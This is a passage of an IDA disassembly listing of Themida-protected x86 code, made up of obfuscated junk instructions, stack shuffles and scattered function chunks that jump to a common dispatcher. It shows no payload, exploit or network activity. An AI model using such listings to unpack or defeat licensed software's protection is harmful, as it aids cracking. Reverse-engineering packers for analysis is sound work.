pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
add esp, 4
sub esp, 4
mov [esp], ebx
jmp loc_55E738
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_568A27: ; CODE XREF: sub_56B774-D45Dj
mov eax, ebx
mov ebx, [esp+10h+var_10]
add esp, 4
push ebx
jmp loc_5685C5
; END OF FUNCTION CHUNK FOR sub_56B774
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_568A38: ; CODE XREF: sub_56CEC8-6E8j
mov bl, cl
mov ecx, [esp+0]
add esp, 4
neg bl
push ax
mov al, bl
inc al
mov bl, al
pop ax
push bx
inc byte ptr [esp+0]
pop bx
jmp loc_565F60
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568A5B: ; CODE XREF: sub_56755A-3F81j
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_568A60: ; CODE XREF: sub_56755A+4C3j
pop esp
add ebp, 5EFD40BEh
add ebp, esi
sub ebp, 5EFD40BEh
mov esi, [esp+2Ch+var_2C]
add esp, 4
xchg ebp, [esp+28h+var_28]
jmp loc_55C9C2
; ---------------------------------------------------------------------------
loc_568A7D: ; CODE XREF: sub_56755A+6606j
pop ebp
jmp loc_56E4AC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568A83: ; CODE XREF: Themida_:00570057j
mov esi, [esp]
add esp, 4
push ebp
jmp loc_56B908
; ---------------------------------------------------------------------------
loc_568A92: ; CODE XREF: Themida_:0055E753j
pop ecx
sub ebp, 33FF7FEEh
sub edx, ebp
pop ebp
push 2679h
mov [esp], edi
mov edi, 49AA1860h
add edi, 46B03E7Bh
and edi, 452A6017h
jmp loc_5697FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568470
loc_568ABA: ; CODE XREF: sub_568470+8ADj
xchg eax, [esp-1Ch+arg_18]
pop esp
jmp loc_56D05B
; END OF FUNCTION CHUNK FOR sub_568470
; ---------------------------------------------------------------------------
loc_568AC3: ; CODE XREF: Themida_:0056899Dj
pop edi
sub ebp, 6E7D7283h
jmp loc_55EAEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563616
loc_568ACF: ; CODE XREF: sub_563616-5A8Aj
push small 1D23h
mov word ptr [esp+2+var_4+2], dx
push ax
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_563616
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E65
loc_568ADF: ; CODE XREF: sub_569E65-8981j
sub eax, 3464119h
push [esp+4+var_4]
mov ecx, [esp+8+var_8]
add esp, 4
push 2563h
mov [esp+8+var_8], ecx
push esp
pop ecx
push edx
mov edx, 4
add ecx, 480648E6h
jmp loc_567C30
; END OF FUNCTION CHUNK FOR sub_569E65
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
push ebx
jmp loc_55FCB5
; ---------------------------------------------------------------------------
loc_568B15: ; CODE XREF: Themida_:00561457j
sub esp, 4
mov [esp], ebp
jmp loc_5698F8
; ---------------------------------------------------------------------------
loc_568B23: ; CODE XREF: Themida_:0056E5B3j
add ecx, 16A91ABBh
jmp loc_5604D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B812
loc_568B2E: ; CODE XREF: sub_56B812+1D7Ej
mov edi, 2CEA6E08h
jmp loc_565DD0
; END OF FUNCTION CHUNK FOR sub_56B812
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568B38: ; CODE XREF: sub_56755A+B2Bj
and ecx, eax
pop eax
sub ecx, 0D476D2FEh
add ebp, ecx
pop ecx
pop eax
xchg ebp, [esp-24h+arg_20]
pop esp
jmp loc_5661D4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568B4E: ; CODE XREF: Themida_:00568C3Fj
add al, 0F7h
mov ch, al
pop eax
sub ch, ah
jmp loc_56F9D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_568B5A: ; CODE XREF: sub_55FDEF+320Bj
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], edx
mov edx, esp
push ebp
mov ebp, 4
jmp loc_56F98F
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_568B77: ; CODE XREF: Themida_:0055F4A2j
sub eax, esi
pop esi
add eax, 77855593h
jmp loc_55B7E8
; ---------------------------------------------------------------------------
loc_568B84: ; CODE XREF: Themida_:00560EEBj
push edx
mov edx, 5F5F0A0Fh
xor edx, 5F5F0A0Bh
jmp loc_5604C1
; ---------------------------------------------------------------------------
loc_568B95: ; CODE XREF: Themida_:0055EA65j
sub al, dh
sub al, 33h
pop edx
add al, 63h
sub al, bh
sub al, 63h
jmp loc_569EAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_568BA5: ; CODE XREF: sub_56F653-2790j
mov dl, 0B5h
jmp loc_5658F8
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568BAC: ; CODE XREF: sub_56755A-A958j
or ah, 88h
xor ah, 12h
add cl, ah
pop eax
xor bh, cl
jmp loc_568E4D
; ---------------------------------------------------------------------------
loc_568BBC: ; CODE XREF: sub_56755A-A416j
add eax, esi
jmp loc_56C74E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_568BC3: ; CODE XREF: sub_56E55E-E774j
mov ecx, [esp+14h+var_14]
add esp, 4
xor ebx, [esp+10h+var_10]
xor [esp+10h+var_10], ebx
xor ebx, [esp+10h+var_10]
pop esp
shl edi, 3
sub edi, 6E3D3BB3h
xor edi, 0B58C3586h
mov ebx, edi
pop edi
jmp loc_55EF43
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
lodsb
jmp loc_562BAB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568BF0: ; CODE XREF: sub_56755A-7AAj
add eax, 37C776C5h
push ebp
jmp loc_55E206
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568BFB: ; CODE XREF: Themida_:0056FE4Ej
mov [esp], ebp
jmp loc_56E70A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568C03: ; CODE XREF: sub_56755A-6FCCj
mov edx, esp
jmp loc_562BC5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568C0A: ; CODE XREF: Themida_:0056CE3Aj
mov ecx, ebp
pop ebp
xor ecx, 25AA6DD0h
jmp loc_56D4A0
; ---------------------------------------------------------------------------
loc_568C18: ; CODE XREF: Themida_:00564394j
push 0
sub [esp], bl
mov bl, [esp]
add esp, 4
push ecx
push 7029h
mov [esp], eax
mov ah, 0C4h
push 5C19h
mov [esp], eax
mov al, 17h
shr al, 1
xor al, 1
jmp loc_568B4E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_568C44: ; CODE XREF: sub_56971C+6951j
xor eax, 5BCA711Ah
and ebp, eax
pop eax
sub ebp, 0F525FDBh
shl ebp, 3
not ebp
add ebp, 68021054h
add ebp, 637B16E9h
add eax, ebp
pop ebp
push 3CB8h
mov [esp+4+var_4], edx
mov edx, 4
add eax, edx
push [esp+4+var_4]
jmp loc_56856E
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
loc_568C7D: ; CODE XREF: Themida_:005664C4j
pop ecx
add esp, 4
add esp, 4
push 7580h
jmp loc_55BD29
; ---------------------------------------------------------------------------
loc_568C91: ; CODE XREF: Themida_:00561255j
mov edi, [esp]
add esp, 4
jmp loc_55D063
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568C9C: ; CODE XREF: sub_56755A+2FA1j
sub eax, edi
pop edi
mov ebx, [esp+0]
add esp, 4
pop ebx
jmp loc_5616A1
; ---------------------------------------------------------------------------
loc_568CAE: ; CODE XREF: sub_56755A-B455j
push ecx
add [esp+10h+var_10], 9B7088Fh
mov edx, [esp+10h+var_10]
add esp, 4
sub edx, 9B7088Fh
jmp loc_565E4E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
sub esp, 4
jmp loc_55BE14
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568CD9: ; CODE XREF: sub_56755A-A741j
xor ecx, [esp+1Ch+var_1C]
xor [esp+1Ch+var_1C], ecx
jmp loc_56BD6C
; ---------------------------------------------------------------------------
loc_568CE4: ; CODE XREF: sub_56755A-90FFj
add [esp+1Ah+var_18+2], eax
mov eax, [esp+1Ah+var_1C+2]
jmp loc_56261D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EAA9
loc_568CF0: ; CODE XREF: sub_56EAA9-1323Aj
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56EAA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568470
loc_568CF5: ; CODE XREF: sub_568470+42D2j
mov ebp, 4F9732AAh
add [esp-20h+arg_24], ebp
pop ebp
mov esi, [esp+0]
add esp, 4
push [esp-28h+arg_24]
pop ebx
push eax
mov eax, esp
sub esp, 4
mov [esp+0], edi
mov edi, 4
add eax, edi
pop edi
add eax, 4
jmp loc_568ABA
; END OF FUNCTION CHUNK FOR sub_568470
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_565B62
sub esp, 4
mov [esp], edx
jmp loc_5611ED
; ---------------------------------------------------------------------------
loc_568D38: ; CODE XREF: Themida_:0055F6BEj
add ebx, 4
jmp loc_56FDF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568D43: ; CODE XREF: sub_56755A-9169j
mov esp, [esp+2+var_4+2]
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_568D4B proc near ; CODE XREF: sub_56C86A+21E5j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055BCA1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055BF4B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055C864 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055D79F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055DAF4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055E767 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00562555 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005668E6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00566E59 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005684E3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00568583 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569210 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A5C9 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056B719 SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], edx
jmp loc_566E59
sub_568D4B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568D56: ; CODE XREF: sub_56755A-3DA0j
pop esp
pop [esp+0Eh+var_10+2]
mov esp, [esp+0Ah+var_C+2]
mov fs:[edx], al
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560D65
loc_568D65: ; CODE XREF: sub_560D65+AD01j
push 2971h
mov [esp+8+var_8], esi
mov esi, 2D6600B5h
sub ebx, 7FD07228h
sub ebx, esi
jmp loc_5679A4
; END OF FUNCTION CHUNK FOR sub_560D65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568D7F: ; CODE XREF: sub_56755A-407Dj
push edi
push eax
push edx
mov edx, 7B712FABh
push edx
jmp loc_56A22D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_568D8D: ; CODE XREF: sub_5635DE-D27j
inc ebx
add ebx, 0CA3EFC82h
jmp loc_55F708
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643BC
loc_568D99: ; CODE XREF: sub_5643BC+5871j
add edi, ebx
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_56DAF9
; END OF FUNCTION CHUNK FOR sub_5643BC
; ---------------------------------------------------------------------------
loc_568DA6: ; CODE XREF: Themida_:0056A486j
mov ebp, esp
add ebp, 4
jmp loc_5641FD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568DB3: ; CODE XREF: sub_56755A-AB35j
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
pop edx
xor bh, 20h
jmp loc_562BBA
; ---------------------------------------------------------------------------
loc_568DC6: ; CODE XREF: sub_56755A-2D80j
add al, dh
jmp loc_55C754
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D5AE
loc_568DCD: ; CODE XREF: sub_56D5AE-370Cj
xchg ebp, [esp+0]
jmp loc_56DC51
; END OF FUNCTION CHUNK FOR sub_56D5AE
; ---------------------------------------------------------------------------
loc_568DD5: ; CODE XREF: Themida_:005671D4j
mov eax, [esp]
jmp loc_56F7BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_568DDD: ; CODE XREF: sub_570668-83DBj
pop ebx
sub ebx, 6BD668E8h
mov edx, [esp+8+var_8]
push edi
mov edi, esp
add edi, 4
jmp loc_5694B5
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
loc_568DF5: ; CODE XREF: Themida_:00568EDBj
mov edi, 6981395Dh
jmp loc_55BFAC
; ---------------------------------------------------------------------------
loc_568DFF: ; CODE XREF: Themida_:0055B7CFj
mov [esp], ebp
mov ebp, 5A9A05C7h
jmp loc_55FB1C
; ---------------------------------------------------------------------------
loc_568E0C: ; CODE XREF: Themida_:0056863Bj
mov [esp], esi
push esp
pop esi
push ecx
mov ecx, 2CB03383h
jmp loc_569F1A
; ---------------------------------------------------------------------------
loc_568E1C: ; CODE XREF: Themida_:0055D4DCj
not dl
sub dl, 7Eh
jmp loc_5666A7
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_568E2E: ; CODE XREF: sub_56CEE9-10D8Bj
add edx, 3500457Eh
jmp loc_561ADC
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568E39: ; CODE XREF: sub_56755A-B7E9j
pop ebp
add esp, 4
jmp loc_56B1BE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56667A
loc_568E42: ; CODE XREF: sub_56667A+928Dj
mov eax, esi
pop esi
sub ebx, eax
pop eax
jmp loc_567A99
; END OF FUNCTION CHUNK FOR sub_56667A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568E4D: ; CODE XREF: sub_56755A+165Dj
pop ecx
xor bh, 64h
jmp sub_5615A9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_568E56: ; CODE XREF: sub_56E89A-111B2j
mov [esp+0Ch+var_C], edx
push 1682h
jmp loc_55FE57
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_568E63: ; CODE XREF: sub_5636A9+8E9Fj
mov ah, 0ABh
sub ah, 33h
add ah, 0FDh
mov bl, ah
pop eax
jmp loc_55CD03
; END OF FUNCTION CHUNK FOR sub_5636A9
; ---------------------------------------------------------------------------
mov ax, [esp]
push 5C00h
mov [esp], edi
push esp
mov edi, [esp]
jmp loc_56B206
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568E88: ; CODE XREF: sub_56755A-134Aj
add esi, 77A80144h
jmp loc_56E79D
; ---------------------------------------------------------------------------
loc_568E93: ; CODE XREF: sub_56755A+402j
push 6439h
mov [esp+20h+var_20], ebp
pop edx
push [esp+1Ch+var_1C]
mov ebp, [esp+20h+var_20]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
jmp loc_56780A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5706E9
loc_568EB3: ; CODE XREF: sub_5706E9-11085j
not esi
jmp loc_566940
; END OF FUNCTION CHUNK FOR sub_5706E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568EBA: ; CODE XREF: sub_56755A+6C59j
add esp, 4
add ebx, 0DD198AA2h
sub ebp, ebx
jmp loc_55BF23
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568ECD: ; CODE XREF: Themida_:0056242Bj
mov eax, 4
jmp loc_566974
; ---------------------------------------------------------------------------
loc_568ED7: ; CODE XREF: Themida_:00564943j
add ecx, ebp
pop ebp
push edi
jmp loc_568DF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568EE0: ; CODE XREF: sub_56755A-3253j
add eax, 4
jmp loc_56A643
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568EEA: ; CODE XREF: Themida_:00565AB0j
sub eax, edx
push dword ptr [esp]
jmp loc_561D34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568EF4: ; CODE XREF: sub_56755A-9AD7j
xchg eax, [esp+12h+var_14+2]
jmp loc_5634D7
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_568EFC proc near ; CODE XREF: sub_5696A6-99B9j
; FUNCTION CHUNK AT 0056FB2E SIZE 0000000B BYTES
push ebp
jmp loc_56FB2E
sub_568EFC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568F02: ; CODE XREF: sub_56755A+385j
sub al, 6Eh
sub bl, al
pop eax
add bl, 0DBh
jmp loc_55B635
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568F0F: ; CODE XREF: Themida_:005685C0j
xor eax, 208E5653h
dec eax
xor eax, 0B33CCB61h
or ebp, eax
jmp loc_569BC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_568F21: ; CODE XREF: sub_56F7FC-F8Dj
add ebx, eax
pop eax
push eax
push ebp
mov ebp, 175239CEh
jmp loc_5607FE
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_568F30: ; CODE XREF: Themida_:005638D6j
sub ebx, eax
add ebx, 32972666h
mov eax, [esp]
add esp, 4
jmp loc_56FB02
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568F43: ; CODE XREF: sub_56755A+7B08j
add eax, 4
sub eax, 4
xchg eax, [esp-8+arg_4]
pop esp
mov [esp-0Ch+arg_8], edi
mov edi, esp
add edi, 4
jmp loc_56105B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568F5F: ; CODE XREF: Themida_:0055ED46j
pop dword ptr [esp]
jmp loc_56DC43
; ---------------------------------------------------------------------------
loc_568F67: ; CODE XREF: Themida_:0055B713j
add ecx, 52941284h
jmp loc_55C01A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568F72: ; CODE XREF: sub_56755A-ACBCj
mov [esp-8+arg_4], esi
mov esi, 27594B7Ch
neg esi
jmp loc_5623BD
; ---------------------------------------------------------------------------
loc_568F81: ; CODE XREF: sub_56755A+368Fj
or ecx, edi
mov edi, [esp-8+arg_4]
jmp loc_5658C3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_568F8B: ; CODE XREF: sub_562F50+3A44j
add eax, ebx
xor dword ptr [eax], 4A9F545Dh
pop eax
jmp loc_56FFE8
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
loc_568F99: ; CODE XREF: Themida_:005672DEj
pop bp
push 7857h
mov [esp], esi
jmp loc_56DD5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55BA18
loc_568FA8: ; CODE XREF: sub_55BA18+EEFCj
sub [esp+4+var_4], 586C0969h
pop ebx
jmp sub_55E99C
; END OF FUNCTION CHUNK FOR sub_55BA18
; ---------------------------------------------------------------------------
loc_568FB5: ; CODE XREF: Themida_:0055D78Fj
mov ecx, [esp]
jmp loc_569ED8
; ---------------------------------------------------------------------------
loc_568FBD: ; CODE XREF: Themida_:0055B5E7j
xor ecx, 3B211EA3h
xor ecx, 8E1DBCC3h
sub ebp, 53A51D8Bh
add ebp, ecx
add ebp, 53A51D8Bh
pop ecx
add ebp, 2
xor ebp, [esp]
jmp loc_56B953
; ---------------------------------------------------------------------------
loc_568FE6: ; CODE XREF: Themida_:00563F9Fj
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
push edx
mov edx, 344736EBh
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 78E45331h
shl ecx, 4
neg ecx
or ecx, 6CAB5473h
shr ecx, 7
neg ecx
sub ecx, 0FF048843h
sub edi, ecx
jmp loc_56C83B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56902B: ; CODE XREF: sub_56755A-29D9j
mov edi, 71100F04h
mov eax, edi
pop edi
push 7A5h
mov [esp+2Eh+var_30+2], ecx
mov ecx, 1
add eax, ecx
jmp loc_55F98A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569047: ; CODE XREF: Themida_:00561813j
push ebx
jmp loc_55DF22
; ---------------------------------------------------------------------------
loc_56904D: ; CODE XREF: Themida_:0056678Bj
sub ebx, 1C910431h
or ebx, 2D844E7Bh
or ebx, 37BC1997h
sub ebx, 0B6E370Eh
add ebx, 12945990h
xor ebp, ebx
pop ebx
inc ebp
xor ebp, 22D29439h
mov esi, ebp
jmp loc_56D528
; ---------------------------------------------------------------------------
loc_56907C: ; CODE XREF: Themida_:0056165Dj
push eax
jmp loc_56590B
; ---------------------------------------------------------------------------
loc_569082: ; CODE XREF: Themida_:00563E80j
xor ebp, 561311CFh
jmp loc_566E6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56908D: ; CODE XREF: sub_56755A-AF0Dj
mov esi, [esp+16h+var_18+2]
add esp, 4
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C86A
loc_56909B: ; CODE XREF: sub_56C86A+15j
sub bl, 3Ah
add bl, ah
add bl, 3Ah
add bl, 0E2h
pop eax
add bl, ch
sub bl, 2Eh
jmp loc_5700B7
; END OF FUNCTION CHUNK FOR sub_56C86A
; ---------------------------------------------------------------------------
loc_5690B1: ; CODE XREF: Themida_:0055E5C9j
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_5690B6: ; CODE XREF: Themida_:00569D8Dj
push 46101B96h
jmp loc_56A6FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5690C0: ; CODE XREF: sub_56755A-5165j
xchg bh, byte ptr [esp-14h+arg_10]
jmp sub_56E1C0
; ---------------------------------------------------------------------------
loc_5690C8: ; CODE XREF: sub_56755A+774Ej
add edx, 4
xchg edx, [esp-14h+arg_10]
pop esp
jmp loc_5638A0
; ---------------------------------------------------------------------------
loc_5690D4: ; CODE XREF: sub_56755A+4692j
add ebx, 320E381Dh
sub ebx, ecx
sub ebx, 320E381Dh
add ebx, 3347C39h
add ebx, 1A1975B1h
pop ecx
push 6C43h
jmp loc_55DF1A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5706E9
loc_5690F9: ; CODE XREF: sub_5706E9-72B1j
add eax, 2CCAF73Ah
xor ebp, eax
pop eax
push edi
mov edi, ebp
mov ebx, edi
pop edi
pop ebp
push eax
mov eax, 1CD41A35h
sub ebx, eax
pop eax
add eax, ebx
pop ebx
jmp loc_564096
; END OF FUNCTION CHUNK FOR sub_5706E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56667A
loc_569119: ; CODE XREF: sub_56667A+1j
mov ebp, 5E0B75B9h
not ebp
shr ebp, 8
xor ebp, 1EADA818h
and eax, ebp
pop ebp
jmp loc_56D286
; END OF FUNCTION CHUNK FOR sub_56667A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569131: ; CODE XREF: sub_56755A+E40j
add ah, 7Bh
add bl, ah
mov eax, [esp+0Ah+var_C+2]
push edx
jmp loc_56557B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56913F: ; CODE XREF: sub_56E89A-508Cj
sub ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebp
push eax
push edx
push 2F427C5Bh
jmp loc_55D6CF
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569155: ; CODE XREF: sub_56755A+7C83j
add esp, 4
jmp sub_55E54A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebp
mov ebp, esp
jmp loc_56C153
; ---------------------------------------------------------------------------
loc_569171: ; CODE XREF: Themida_:0056C7F2j
push esp
jmp loc_56E070
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569177: ; CODE XREF: sub_56755A-709Ej
push [esp+14h+var_14]
pop ebp
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+18h+var_18]
pop esp
push ebx
mov ebx, 4
add edi, ebx
jmp loc_55EE16
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56919B: ; CODE XREF: Themida_:005683C9j
and ecx, eax
pop eax
shl ecx, 1
shr ecx, 5
jmp loc_565622
; ---------------------------------------------------------------------------
loc_5691A8: ; CODE XREF: Themida_:00560AEAj
pop edi
pop esi
jmp loc_567F33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_5691AF: ; CODE XREF: sub_56F7FC-ED03j
shl ecx, 4
inc ecx
add ecx, 64F6CB0Bh
mov edx, 0A0F250F0h
sub edx, ecx
push [esp+4+var_4]
jmp loc_5642D2
; ---------------------------------------------------------------------------
loc_5691C8: ; CODE XREF: sub_56F7FC-F182j
xchg edx, [esp+0]
pop esp
mov [esp-4+arg_0], edx
push 5E4Bh
mov [esp+0], eax
mov eax, 7D2D60A9h
or eax, 7E617BEFh
inc eax
shr eax, 3
jmp loc_55FE1B
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_5691EA: ; CODE XREF: Themida_:0056B9B4j
add eax, ecx
pop ecx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push ebx
push edx
mov edx, 4
mov ebx, edx
pop edx
add edx, 338E24C8h
add edx, ebx
jmp loc_56E177
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_569210: ; CODE XREF: sub_568D4B-C4E6j
mov eax, 4
jmp loc_56A5C9
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
loc_56921A: ; CODE XREF: Themida_:00570349j
add edi, 4
sub esp, 4
mov [esp], ecx
jmp loc_564317
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56922B: ; CODE XREF: sub_56755A-A8DEj
pop ebp
shl ebx, 3
jmp loc_5609F1
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569234: ; CODE XREF: Themida_:0056DA98j
mov ebp, 2B244801h
xor esi, ebp
pop ebp
push edi
mov edi, 2406122h
jmp loc_56E433
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569247: ; CODE XREF: sub_56755A-EB8j
pop ecx
add edi, ebx
push eax
mov eax, 59FC0D17h
sub edi, eax
pop eax
mov ebx, [esp+4+var_4]
jmp loc_56CF1B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56542E
